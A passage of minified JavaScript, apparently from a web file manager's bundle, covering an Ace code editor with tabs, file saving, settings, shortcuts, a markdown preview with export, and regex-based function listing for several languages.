{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/edit/edit",["./preview","./preview_markdown","./function_list","./markdownTools","lib/ace/src-min-noconflict/ext-modelist"],function(e){var t={},i=void 0,a=e("./preview");e("lib/ace/src-min-noconflict/ext-modelist"),aceModeList=ace.require("ace/ext/modelist"),e.async("lib/ace/src-min-noconflict/ext-language_tools",function(){ace.config.loadModule("ace/ext/language_tools",function(){ace.snippetManager=ace.require("ace/snippets").snippetManager})}),e.async("lib/ace/emmet.min.js",function(){e.async("lib/ace/src-min-noconflict/ext-emmet",function(){ace.require("ace/ext/emmet")})});var n=ace.require("ace/lib/net");n.loadScript.hook("loadScript",n,function(){return"string"==typeof arguments[0]&&-1!==arguments[0].search("mode-php.js")&&(arguments[0]=arguments[0].replace("mode-php.js","mode-phhp.js")),arguments}),ace.config.moduleUrl.hook("moduleUrl",ace.config,function(){return-1!==arguments[0].search("php_worker")&&(arguments[0]=arguments[0].replace("php_worker","phhp_worker")),arguments});var o=ace.require("ace/mouse/default_handlers").DefaultHandlers;o.prototype.onMouseDown.hook("onMouseDown",o.prototype,function(){arguments[0].preventDefault=function(){return!0}});var s=ace.require("ace/virtual_renderer").VirtualRenderer;s.prototype.showComposition.hook("showComposition",s.prototype,function(){return this.session.selection.rangeCount>1?"hookReturn":void 0});var r=ace.require("ace/editor").Editor;r.prototype.$checkMultiselectChange.hook("$checkMultiselectChange",r.prototype,function(){return"hookReturn"});var l,c=function(e,i){if(void 0==i||void 0==e||1>t.length)return"";for(var a in t)try{if(t[a].kod[e]==i)return t[a].kod.uuid}catch(n){}return""},d=function(){var e={font_size:"15px",theme:"tomorrow",show_gutter:1,auto_wrap:1,auto_complete:1,function_list:1,tab_size:4,soft_tab:1,display_char:0,font_family:"Menlo",keyboard_type:"ace"};for(var t in e)G.code_config[t]===void 0&&(G.code_config[t]=e[t]);auto_function_list=parseInt(G.code_config.function_list),Toolbar.toolbarSelected(),k(),$("body").mouseup(function(e){var t=["markdown_menu_box","markdown_setting","markdown_help"];$.each(t,function(t,i){$(e.target).hasClass(i)||0!=$(e.target).parents("."+i).length||$("."+i).addClass("hidden")})}),Mousetrap.bind(["ctrl+f","command+f"],function(e,t){switch(stopPP(e),t){case"ctrl+f":case"command+f":break;default:}})},p=function(e){var t=core.pathExt(e),i=aceModeList.getModeForPath(e).name;if("text"==i)for(var a in core.fileOpenMode)if(-1!=$.inArray(t,core.fileOpenMode[a])){i=a;break}return i},u=function(e){var i,a="id_"+UUID();if(void 0==e||""==e||"undefined"==e)return i={uuid:a,name:"newfile.txt",charset:"utf-8",filename:"",mode:p("test.txt"),the_url:""},f(i),m(i),$(".edit_body .this").removeClass("this"),$(".edit_body pre#"+a).parent().addClass("this"),$(".tab_"+i.uuid).removeClass("loading"),w(),_(),Toolbar.toolbarSelected(),void 0;var n=e;"http"==e.substr(0,4)&&(n=urlDecode($.getUrlParam("name",e))),i={charset:"utf-8",uuid:a,name:core.pathThis(n),filename:n,mode:p(n),the_url:""},"http"==e.substr(0,4)&&(i.filename=""),f(i),t[i.uuid]={kod:{filename:i.filename}},core.fileGet(e,function(e,n,o){if(i.the_url=o,$(".tab_"+i.uuid).removeClass("loading"),!n||!n.code)return j(i.uuid),Tips.tips(n);if(0==$("#"+i.uuid).length)return j(i.uuid),void 0;var s=n.data;1==s.base64&&(s.content=base64Decode(s.content));var r="";if("php"==s.ext&&0==s.content.indexOf(r)){var l=s.content.substr(r.length);s.content=r+js_beautify(l),i.mode=p("test.json")}"oexe"==s.ext&&(s.content=js_beautify(s.content)),t[a]=void 0,$("#"+a).text(s.content),m(i);var c=t[a];c.kod.charset=s.charset,c.kod.base64=s.base64,c.navigateTo(0),c.moveCursorTo(0,0),I(),w(),_(),Toolbar.toolbarSelected()},function(){j(i.uuid)})},f=function(t){var i=core.iconSmall(core.pathExt(t.name)),a='";$(a).insertBefore(".edit_tab .add");var n=e("./tpl/edit_tab_content.html"),o=template.compile(n),s=o({LNG:LNG,uuid:t.uuid});if($(".edit_body .tabs").append(s),b(t.uuid),Tap.resetWidth("add"),k(),"markdown"==t.mode&&$.getUrlParam("sid")){var r=$("#"+t.uuid).parent(".edit_content");r.addClass("markdown_full_page")}},h=function(e){clearTimeout(l),l=!1,l=setTimeout(function(){try{e.kod.preview.editChange()}catch(t){}},300)},m=function(e){var i=ace.edit(e.uuid);i.setTheme("ace/theme/"+G.code_config.theme),void 0!=e.mode&&i.getSession().setMode("ace/mode/"+e.mode),i.getSession().setTabSize(parseInt(G.code_config.tab_size)),i.getSession().setUseSoftTabs(parseInt(G.code_config.soft_tab)),i.getSession().setUseWrapMode(parseInt(G.code_config.auto_wrap)),i.renderer.setShowGutter(parseInt(G.code_config.show_gutter)),i.renderer.setScrollMargin(0,100,0,0),"ace"==G.code_config.keyboard_type?i.setKeyboardHandler():i.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type),i.setShowPrintMargin(!1),i.setPrintMarginColumn(120),i.$blockScrolling=1/0,i.setDragDelay(20),i.setShowInvisibles(parseInt(G.code_config.display_char)),i.setFontSize(G.code_config.font_size),i.setAnimatedScroll(!0),i.setOptions({newLineMode:"windows",enableEmmet:!0,enableSnippets:!0,enableBasicAutocompletion:!0,enableLiveAutocompletion:!0}),i.on("change",function(){N(i,!0),h(i)}),i.on("changeSelection",function(){M()}),i.commands.addCommand({name:"editSave",bindKey:{win:"Ctrl-S",mac:"Command-S",sender:"editor|cli"},exec:function(e){L(e.kod.uuid)}}),i.commands.addCommand({name:"editFunction",bindKey:{win:"Ctrl-Shift-E",mac:"Command-Shift-E",sender:"editor|cli"},exec:function(){Toolbar.doAction("function_list")}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-Shift-S",mac:"Command-Shift-S"},exec:function(){Toolbar.doAction("preview")}}),i.commands.addCommand({name:"showKeyboardShortcuts",bindKey:{win:"Ctrl-Alt-h",mac:"Command-Alt-h"},exec:function(e){ace.config.loadModule("ace/ext/keybinding_menu",function(t){t.init(e),e.showKeyboardShortcuts()})}}),i.commands.addCommand({name:"convertIndent",exec:function(e,t){ace.config.loadModule("ace/ext/whitespace",function(i){var a={reset_size:G.code_config.soft_tab?" ":" ",to_space:" ",to_tabs:" "},n=a[t];e.session.setTabSize(G.code_config.tab_size),e.session.setUseSoftTabs(G.code_config.soft_tab),i.detectIndentation(e.session),i.convertIndentation(e.session,n,G.code_config.tab_size),i.trimTrailingSpace(e.session,n)})}}),i.commands.addCommand({name:"phpBeautify",bindKey:{win:"Ctrl-Shift-B",mac:"Command-Shift-B"},exec:function(e){return"ace/mode/php"!=e.session.$modeId?(Tips.tips("Only for php mode!","warning"),void 0):(ace.config.loadModule("ace/ext/beautify",function(t){t.beautify(e.session)}),void 0)}}),i.commands.addCommand({name:"find",bindKey:{win:"Ctrl-F",mac:"Command-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e)})}}),i.commands.addCommand({name:"replace",bindKey:{win:"Ctrl-H",mac:"Command-Option-F"},exec:function(e){ace.config.loadModule("ace/ext/searchboxKod",function(t){t.Search(Editor,e,!0)})}}),i.commands.addCommand({name:"closeSearchBar",bindKey:"Esc",exec:function(){Editor.searchBox&&Editor.searchBox.hide()}}),i.commands.addCommand({name:"preview",bindKey:{win:"Ctrl-command-G",mac:"Ctrl-command-G"},exec:function(e){e.findAll(e.session.getTextRange()),M()}}),i.commands.addCommand({name:"refresh",bindKey:{win:"F5",mac:"F5"},exec:function(){Toolbar.doAction("refresh")}}),e.mode||(e.mode=""),i.kod={mode:e.mode,uuid:e.uuid,name:e.name,base64:!1,charset:"utf-8",the_url:e.the_url,filename:e.filename},i.hasChanged=!1,t[e.uuid]=i,i.kod.preview=new a(i),g()},_=function(){var e=O();if(e){e.focus(),e.resize();try{var t=window.parent.$.dialog.list.openEditor,i=Editor.current().kod.filename;i||(i=Editor.current().kod.name);var a=' '+htmlEncode(i);if(t){t.title(a);var n="./index.php?editor/edit";G.sid!==void 0&&(n="./index.php?share/edit&user="+G.user+"&sid="+G.sid),n=n+"#filename="+urlEncode(i),window.parent.$(".openEditor .aui_content iframe").attr("src",n)}}catch(o){}}},v=function(e,t){try{Editor.current().completer.popup.hide()}catch(a){}$(".edit_tab .this").removeClass("this"),$(".edit_tab .tab_"+e).addClass("this"),i=e,t&&$(".edit_tab .this").stop(!0,!0).animate({opacity:.5},50).animate({opacity:.8},50).animate({opacity:.5},50).animate({opacity:1},50,function(){}),_(),M(),E(),w(),Toolbar.toolbarSelected(),g()},g=function(){var e=O();e&&void 0!==e.kod&&Editor.searchBox&&Editor.searchBox.isShow()&&(Editor.searchBox.setEditor(Editor,Editor.current()),Editor.searchBox.find(!1,!1,!0))},b=function(e,t){void 0!=e&&""!=e&&($(".edit_body .this").removeClass("this"),$(".edit_body #"+e).parent().addClass("this"),v(e,t),P(function(t){t.ui.tree.setSelect($(".tab_"+e).attr("title"))}))},y=function(e,a,n){var o=t;$.extend(!0,{},G.code_config),void 0!=n&&(o={},o[n]?o[n]=t[n]:o[i]=t[i]);var s=function(e){var t=Number(!Number(e));return isNaN(t)?0:t};a!==void 0?G.code_config[e]=a:(G.code_config[e]=s(G.code_config[e]),a=G.code_config[e]),Toolbar.toolbarSelected();for(var r in o){var l=o[r];if(l&&l.kod&&l.resize)switch(-1!=$.inArray(e,["font_size","auto_wrap","font_family"])&&h(l),e){case"theme":l.setTheme("ace/theme/"+a);break;case"tab_size":l.getSession().setTabSize(parseInt(a));break;case"show_gutter":l.renderer.setShowGutter(parseInt(a));break;case"soft_tab":l.getSession().setUseSoftTabs(parseInt(a));break;case"font_size":l.setFontSize(parseInt(a));break;case"auto_wrap":l.getSession().setUseWrapMode(parseInt(a));break;case"display_char":l.setShowInvisibles(parseInt(a));break;case"font_family":k();break;case"keyboard_type":"ace"==G.code_config.keyboard_type?l.setKeyboardHandler():l.setKeyboardHandler("ace/keyboard/"+G.code_config.keyboard_type);break;case"function_list":break;case"auto_complete":l.setOptions({enableLiveAutocompletion:G.code_config[e]}),l.$enableBasicAutocompletion=G.code_config[e];break;default:}}$.ajax({url:"./index.php?editor/setConfig&k="+e+"&v="+G.code_config[e],dataType:"json",success:function(){}})},k=function(){var e=G.code_config.font_family;e="'"+e+"',Monaco,Menlo,Consolas,source-code-pro,'Liberation Mono','Ubuntu Mono',Courier,'Helvetica Neue','Microsoft Yahei','微软雅黑','Lantinghei SC',STXihei,WenQuanYi,sans-serif",$(".ace_editor_content").css("font-family",e)},x=function(e){var i=t;for(var a in i){var n=i[a];if(n&&n.kod&&n.resize)switch(e){case"resize":n.resize();break;case"setting":n.commands.exec("showSettingsMenu",n);break;default:}}"resize"==e&&w()},w=function(){var e=O();if(e){var t=$("#"+e.kod.uuid).parent().find(".edit_right_frame"),i=0;t.hasClass("hidden")||(i=100*(t.width()/$(window).width())),$(".edit_body .bottom_toolbar").css("right",i+"%")}},N=function(e,t){t!=e.hasChanged&&(e.hasChanged=t,$(".edit_tab .tabs .tab_"+e.kod.uuid).toggleClass("edit_changed"))},L=function(e,a){if(void 0!=i){void 0==e&&(e=i),void 0==a&&(a=!1);var n=t[e];if(n.hasChanged){if(void 0==n||""==n)return Tips.tips(LNG.data_error,"warning"),void 0;O().focus();var o=n.kod.filename;""==o?core.api.pathSelect({type:"file",title:LNG.newfile_save_as},function(e){z(n,e,a)}):z(n,o,a)}}},C=function(){for(var e in t)""!=t[e].kod.filename&&L(e)},z=function(e,t,i){if("view"===e.kod.tabType)return Tips.tips(LNG.error,"warning"),void 0;var a={path:t,charset:e.kod.charset,filestr:e.getValue()},n="./index.php?editor/fileSave";G.share_page!==void 0&&(n="./index.php?share/fileSave&user="+G.user+"&sid="+G.sid),e.kod.base64&&(a.base64="1",a.filestr=base64Encode(a.filestr)),a.filestr=urlEncode(a.filestr),""==e.kod.filename&&(a.create_file=1),Tips.loading(LNG.getting,!0),$(".tab_"+e.kod.uuid).addClass("loading"),$.ajax({type:"POST",dataType:"json",url:n,data:a,error:core.ajaxError,success:function(a){return $(".tab_"+e.kod.uuid).removeClass("loading"),a.code?(Tips.close(LNG.success,!0),""==e.kod.filename&&(e.kod.filename=t,T(e)),N(e,!1),_(),i&&j(e.kod.uuid),void 0):(Tips.close(a,!1),void 0)}})},T=function(e){var t=e.kod.filename;e.kod.name=core.pathThis(t),e.kod.mode=p(t),e.kod.the_url="./index.php?editor/fileGet&filename="+t;var i=$(".tab_"+e.kod.uuid);i.attr("title",t),i.find(".name").html(e.kod.name)},S=function(e){if(void 0==e&&(e=i),void 0==t[e])return j(e),void 0;var a=t[e];a.hasChanged?$.dialog({title:LNG.warning,resize:!1,background:"#fff",opacity:.4,lock:!0,icon:"question",content:a.kod.name+" "+LNG.if_save_file,padding:40,button:[{name:LNG.button_save,focus:!0,callback:function(){L(e,!0)}},{name:LNG.button_not_save,callback:function(){j(e)}}]}):j(e)},j=function(e){delete t[e];var i="",a=$(".edit_tab .tab"),n=$(".edit_tab .tab_"+e),o=$(".edit_body pre#"+e).parent();n.removeClass("edit_tab_menu"),n.hasClass("this")?($(a[0]).attr("uuid")==e?i=$(a[1]).attr("uuid"):a.each(function(){var t=$(this).attr("uuid");return t==e?!1:(i=t,void 0)}),""!=i&&$(".edit_body pre#"+i).addClass("this"),o.remove(),Tap.resetWidth("remove",n,i)):(o.remove(),Tap.resetWidth("remove",n)),E()},E=function(){0==$(".edit_body .tabs .edit_content").length?(O()&&O().kod.preview.close(),$(".disable_mask,.introduction").removeClass("hidden"),$(".bottom_toolbar").addClass("hidden"),$(".edit_body .tabs").addClass("hidden")):($(".disable_mask,.introduction").addClass("hidden"),$(".bottom_toolbar").removeClass("hidden"),$(".edit_body .tabs").removeClass("hidden")),P(function(e){var t=[];$(".edit_tab .tabs .edit_tab_menu").each(function(){var e=$(this).attr("title");e&&t.push(e)}),e.ui.fileHistory(t)})},P=function(e){ShareData.frameTop("",function(t){t.Config&&"editor"==t.Config.pageApp&&0!=t.$("#page_editor").length&&"function"==typeof e&&e(t)})},D=function(){for(var e in t)try{if(t[e].hasChanged)return!0}catch(i){}return!1},F=function(e){core.setSkin(e)},O=function(){return i&&t[i]&&t[i].focus?t[i]:!1},A=function(e){var i=O();e&&(i=t[e]);var a=i.kod.the_url,e=i.kod.uuid;return""==a?(Tips.tips(LNG.not_exists,"warning"),void 0):($(".tab_"+e).addClass("loading"),Tips.loading(LNG.loading),core.fileGet(a,function(t,a){Tips.close(),$(".tab_"+e).removeClass("loading");var n=a.data;1==n.base64&&(n.content=base64Decode(n.content));var o="";if(null==n.content&&(n.content=""),"php"==n.ext&&0==n.content.indexOf(o)){var s=n.content.substr(o.length);n.content=o+js_beautify(s)}"oexe"==n.ext&&(n.content=js_beautify(n.content)),i.kod.charset=n.charset,i.kod.base64=n.base64,i.getSession().setValue(n.content);var r=i.getFirstVisibleRow();i.scrollToLine(r),N(i,!1)},function(){$(".tab_"+e).removeClass("loading")}),void 0)},I=function(){ShareData.data("FILE_SEARCH_AT")&&setTimeout(function(){for(var e=ShareData.data("FILE_SEARCH_AT"),t=O(),i={row:e.line-1,column:0};e.lineIndex-->=0;){t.selection.moveTo(i.row,i.column);var a=-1==e.lineIndex?!0:!1,n=t.find(e.search,{},a);i=n.end}t.session.highlight(t.$search.$options.re),t.renderer.updateBackMarkers(),ShareData.remove("FILE_SEARCH_AT")},100)},R=function(e){e||(e=G.code_config.theme);var t=["ambiance","idle_fingers","monokai","pastel_on_dark","twilight","solarized_dark","tomorrow_night_blue","tomorrow_night_eighties"];return inArray(t,e)?!0:!1},M=function(){var e=Editor.current();if(e){var t=e.selection.getCursor(),i=t.row+1+":"+(t.column+1);e.selection.rangeCount>1&&(i+=" ["+e.selection.rangeCount+"]");for(var a=e.selection.getAllRanges(),n=0,o=0,s=0;a.length>s;s++){var r={start:a[s].start,end:a[s].end},l=e.selection.doc.getTextRange(r);n+=l.length,o+=r.end.row-r.start.row+1}n>0&&(i+=" ("+n+" ~ "+o+")"),$(".editor_position").html(i)}};return{init:d,current:O,getParentEditor:P,hasFileSave:D,saveConfig:y,doAction:x,setTheme:F,isBlackTheme:R,select:b,remove:S,save:L,saveall:C,refresh:A,getFileMode:p,aceModeList:aceModeList,add:function(e){e=urlDecode(e);var t=c("filename",e);""!=t?(b(t,!0),I()):u(e)}}}),define("app/src/edit/preview",["./preview_markdown","./function_list","./markdownTools"],function(e){return function(t){var i=$("#"+t.kod.uuid).parent(".edit_content"),a=i.find(".edit_right_frame"),n=$("#"+t.kod.uuid),o=i.find(".function_list_frame"),s=i.find(".preview_url_frame"),r=i.find(".preview_markdown_frame"),l=e("./preview_markdown"),c=e("./function_list"),d=e("./markdownTools"),p=new l(t),u=new c(t),f=10,h=function(){i.find(".preview_url_tool input").keyEnter(N);var e=i.find(".resize"),t=0;e.drag({start:function(){t=a.width(),e.addClass("resize_active"),$("body").css("cursor","col-resize"),a.append('
'),a.addClass("can_not_select")},move:function(i){var o=t-i,s=$(window).width();o>=s-f&&(o=s-f),f>=o&&(o=f),n.width(s-o),a.width(o),e.css("left",s-o+"px")},end:function(){e.removeClass("resize_active"),$("body").css("cursor","default"),a.find(".mask_view").remove(),a.removeClass("can_not_select"),m()}})},m=function(){if(0==$(".markdown_full_page").length){if(a.is(":visible")){var e=a.width(),t=$(window).width();e>=t-f&&(e=t-f),f>=e&&(e=f);var s=100*parseFloat(e/t);a.width(s+"%"),n.width(100-s+"%");var l=i.find(".resize");l.css("left",100-s+"%"),o.is(":visible")&&a.attr("data-size-width",e),r.is(":visible")&&p.refreshScroll()}Editor.doAction("resize")}},_=function(){i.find(".edit_right_frame .box a,.function_list_tool .box a,[markdown_action]").bind("click",function(t){var a=$(this).attr("class");switch($(this).attr("markdown_action")&&(a=$(this).attr("markdown_action")),a){case"tool_markdown_menu":if(i.find(".markdown_menu_box").toggleClass("hidden"),!i.find(".markdown_menu_box").hasClass("hidden")){var n=p.markdownMenu(i.find(".markdown_preview"));i.find(".markdown_menu_box .content").html(n)}break;case"tool_markdown_download_html":p.markdownDownload(i.find(".markdown_preview").html(),"html");break;case"tool_markdown_download_pdf":p.markdownDownload(i.find(".markdown_preview").html(),"pdf");break;case"tool_markdown_download_markdown":p.markdownDownload("","md");break;case"tool_markdown_full":i.toggleClass("markdown_full"),i.hasClass("markdown_full")&&(i.find(".ace_editor").css("width","50%"),i.find(".edit_right_frame").css("width","50%"),i.find(".resize").css("left","50%")),Editor.doAction("resize");break;case"tool_markdown_setting":i.find(".markdown_setting").toggleClass("hidden");break;case"tool_markdown_help":if(""==i.find(".markdown_help .content").html()){var n="";n="zh-CN"==G.lang||"zh-TW"==G.lang?e("./tpl/markdown_help_cn.html"):e("./tpl/markdown_help.html"),i.find(".markdown_help .content").html(n)}i.find(".markdown_help").toggleClass("hidden");break;case"tool_markdown_max":i.toggleClass("markdown_full_page"),i.hasClass("markdown_full_page")||m();break;case"tool_open_url":b();break;case"tool_refresh":N();break;case"tool_close":w();break;case"tool_markdown_help":break;default:}return stopPP(t),!1})},v=function(e){var l=0;if(a.removeClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").removeClass("hidden"),"function_list"==e)o.removeClass("hidden"),l=200,u.refresh(),a.find(".function_search input").focus();else if("markdown"==e)l=.51*$(window).width(),r.removeClass("hidden"),p.refresh(),d.bindEvent(i,t);else if("html"==e){l=.5*$(window).width(),s.removeClass("hidden");var c=t.kod.filename;c=core.path2url(c),a.find(".preview_url_tool input").val(c),a.find("iframe").attr("src",c)}a.css({width:l}),n.css({width:$(window).width()-l}),m()},g=function(){o.hasClass("hidden")?r.hasClass("hidden")||p.refresh():u.refresh()},b=function(e){if(r.hasClass("hidden"))window.open(i.find(".preview_url_frame input").attr("value"));else{var t=p.markdown2html(i.find(".markdown_preview").html()),a=window.open("","_blank","");a.document.open("text/html","replace"),a.opener=null,a.document.write(t),a.document.close()}stopPP(e)},y=function(){return u.support(t.kod.mode)?(o.hasClass("hidden")?(auto_function_list=1,v("function_list")):(auto_function_list=0,w()),Editor.saveConfig("function_list",auto_function_list),void 0):(Tips.tips(LNG.not_support,"warning"),void 0)},k=function(){a.hasClass("hidden")?x()||v("html"):r.hasClass("hidden")&&v("html")},x=function(){return auto_function_list&&u.support(t.kod.mode)?(v("function_list"),!0):"markdown"==t.kod.mode?(v("markdown"),!0):!1},w=function(){(s.hasClass("hidden")||!x())&&(a.addClass("hidden"),o.addClass("hidden"),r.addClass("hidden"),s.addClass("hidden"),i.find(".resize").addClass("hidden"),$(".markdown_full_page").removeClass("markdown_full_page"),n.css("width","100%"),Editor.doAction("resize"))},N=function(){var e=i.find(".preview_url_tool input"),t=e.attr("value");i.find(".open_ie").attr("href",t),i.find("iframe").attr("src",t)},L=function(){h(),_(),x();var e,n=function(){clearTimeout(e),e=!1,e=setTimeout(function(){o.is(":visible")&&(a.width(a.attr("data-size-width")),m())},10)};$(window).bind("resize",n),d.bindEvent(i,t)};return L(),{open:v,editChange:g,close:w,resize:m,openFunctionList:y,previewForce:k}}}),define("app/src/edit/preview_markdown",[],function(e){var t=function(e){var t="";return e.find("h1,h2,h3,h4,h5,h6").each(function(){var e="markdown-"+$(this).text().replace(/\s+/g,"-"),i="markdown_menu_"+$(this)[0].tagName.toLowerCase();$(this).attr("data-link","#"+e),t+=''+$(this).text()+" "}),t=""},i=function(e){e.find("a").attr("target","_blank");var i="[TOC]
";if(-1!=e.html().indexOf(i)){var a=t(e),n=e.html();n=n.replace(i,a),e.html(n)}},a=function(){$(".edit_right_frame .markdown_menu a").die("click").live("click",function(e){stopPP(e);var t=$(this).parents(".right_main"),i=t.find("[data-link='"+$(this).attr("href")+"']");if(0!=i.length){var a=i.offset().top+t.scrollTop()-t.offset().top+"px";t.stop(!0).animate({scrollTop:a},100,"linear")}})},n=function(t,i){e.async("lib/markdown/highlight.min",function(){t.find("pre code").each(function(e,t){hljs.highlightBlock(t),"function"==typeof i&&i()})})},o=function(t,i){e.async(["lib/markdown/katex/katex.min.js","lib/markdown/katex/katex.min.css","lib/markdown/katex/contrib/auto-render.min.js"],function(){renderMathInElement(t[0],[{left:"$$",right:"$$",display:!0}]),$(".katex-display").parent().addClass("markdown-latex"),t.find(".language-latex,.language-math,.language-katex").each(function(){try{var e=katex.renderToString($(this).text());if("string"!=typeof e)return;e=''+e+"
",$(e).insertBefore($(this).parent()),$(this).parent().remove()}catch(t){}}),"function"==typeof i&&i()})},s=function(){var e="newfile",t=Editor.current().kod.filename;return""!=t&&(t=core.pathThis(t),e=t.substr(0,t.indexOf("."))),e},r=function(t){var i=e("./tpl/markdown_preview.html"),a=template.compile(i),n=a({addStyle:G.app_host+"static/js/lib/markdown/katex/katex.min.css",content:t,title:s(),black_theme:Editor.isBlackTheme()});return n=n.replace(/ data-link="#(.*?)">/g,'> ')},l=function(e,t){var i=s()+"."+t;switch(t){case"html":$.htmlDownload(r(e),i);break;case"md":var a=Editor.current(),n=a.getValue();$.htmlDownload(n,i);break;case"pdf":$.htmlPrint(r(e));break;default:}};return function(){var s,c,d,p,u=!1,f=!1,h=function(){if(s=Editor.current(),s&&void 0!==s.focus){var e=s.kod.uuid;c=$("#"+e).parent().find(".markdown_preview"),d=$("#"+e).parent().find(".edit_right_frame .right_main"),v(),_(),a()}},m=function(t){e.async("lib/markdown/markdown-it.min",function(){if(c&&0!=c.length){var e=window.markdownit({html:!0,breaks:!0}),a=s.getValue(),r=e.render(a),l=$(".markdown_make_buffer");0==l.length&&($("
").appendTo("body"),l=$(".markdown_make_buffer")),l.html(r),i(l),n(l,function(){c.html(l.html())}),(0==c.html().length||t===!0)&&c.html(l.html()),c.html(l.html()),o(l,function(){c.html(l.html()),l.remove(),x()})}})},_=function(){var e,t=function(){return!d.find(".preview_markdown_frame").hasClass("hidden")};s.session.on("changeScrollTop",function(){!f&&t()&&(u=!0,w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3))}),s.on("change",function(){!f&&t()&&(u=!0,x(function(){w(!0),clearTimeout(e),e=!1,e=setTimeout(function(){u=!1},1e3)}))})},v=function(){return},g=[],b=[],y=function(){if(void 0!==s.kod.mode&&"markdown"==s.kod.mode){g=[];for(var e="\n...\n"+s.getValue(),t=0,i=window.markdownit(),a=i.parse(e,{references:{}}),n=["h1","h2","h3","h4","h5","h6"],o=0;a.length>o;o++)if($.inArray(a[o].tag,n)>=0&&"heading_open"==a[o].type){var r=s.session.documentToScreenPosition(a[o].map[0]-1,2),l=r.row*s.renderer.lineHeight;g.push({start:t,end:l,height:l-t}),t=l}}},k=function(){if(d&&0!=d.length){b=[];var e=0,t=d.scrollTop();c.find("h1,h2,h3,h4,h5,h6").each(function(){var i=$(this).position().top+t+parseInt($(this).css("margin-top"));b.push({start:e,end:i,height:i-e}),e=i})}},x=function(e){clearTimeout(p),p=!1,p=setTimeout(function(){y(),k(),"function"==typeof e&&e()},200)},w=function(e){var t=s.session.getScrollTop(),i=d.scrollTop(),a=function(e,t,i,a){for(var n,o=-1,s=0;e.length>s&&(o=s,n=e[s],!(e[s].end>t));s++);if(!(-1===o||o>=i.length)){var r=(t-n.start)/n.height,l=i[o],c=l.start+l.height*r;o==e.length-1&&t>=n.end-5&&(c=l.end),a(c)}};e?a(g,t,b,function(e){d.stop(!0).animate({scrollTop:e},100,"linear")}):i+d.height()>=d.prop("scrollHeight")-5?s.gotoLine(s.session.getLength()):a(b,i,g,function(e){s.session.setScrollTop(e)})};return h(),{refresh:m,refreshScroll:x,markdownMenu:t,markdown2html:r,markdownDownload:l}}}),define("app/src/edit/tpl/markdown_preview.html",[],'\n \n \n {{title}} \n\n \n\n\nPrint \n\n{{#content}}\n\n\n\n'),define("app/src/edit/function_list",[],function(){var e={php:[{reg:/\n.*?\s*function\s+([_\w]+)\s*\(.*\)*/g,reg_name:/.*function\s+(.*\))/,reg_index:1,type_extents:{function_value:/\s*(private|protected)\s*/,function_var:/\s*(public)\s*/},type:"function"},{reg:/\s*class\s+(\w*)\s*.*\{/g,reg_name:/\s*class\s+(\w*)\s*.*\{/,reg_index:1,type:"class"}],javascript:[{reg:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\$\w'"\[\]\.]+)\s*=\s*function\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_var"},{reg:/\s*function\s+([\w\s]+)\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*function\s+([\w\s]+)\s*(.*)/,reg_index:1,reg_name_all:[1,2],type:"function function_define"},{reg:/\s*([\w\.]+)\s*:\s*function\s*\([\w,\s\*\[\]\<\>&$]*\)\s*\{/g,reg_name:/\s*([\w\.]+)\s*:\s*function\s*(\([\w,\s\*\[\]\<\>&$]*\))/,reg_index:1,reg_name_all:[1,2],type:"function function_value"}],python:[{reg:/\s*class\s+(\w+)\s*\(/g,reg_name:/\s*class\s+(\w+)\s*\(/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*\(.*\)/g,reg_name:/\s*def\s+(\w+)\s*\(.*\)/,reg_index:1,type:"function"}],ruby:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*def\s+(\w+)\s*/g,reg_name:/\s*def\s+(\w+)\s*/,reg_index:1,type:"function"}],golang:[{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"},{reg:/\s*func\s+(\w+)\s*.*\{/g,reg_name:/\s*func\s+(\w+)\s*/,reg_index:1,type:"function"}],java:[{reg:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/g,reg_name:/\s*(final)?\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*\{/,reg_index:3,type:"function"},{reg:/\s*class\s+(\w+)\s*/g,reg_name:/\s*class\s+(\w+)\s*/,reg_index:1,type:"class"}],csharp:[{reg:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/g,reg_name:/\s*(public|private|protected)\s*.*\s+(\w+)\s*\(.*\).*/,reg_index:2,t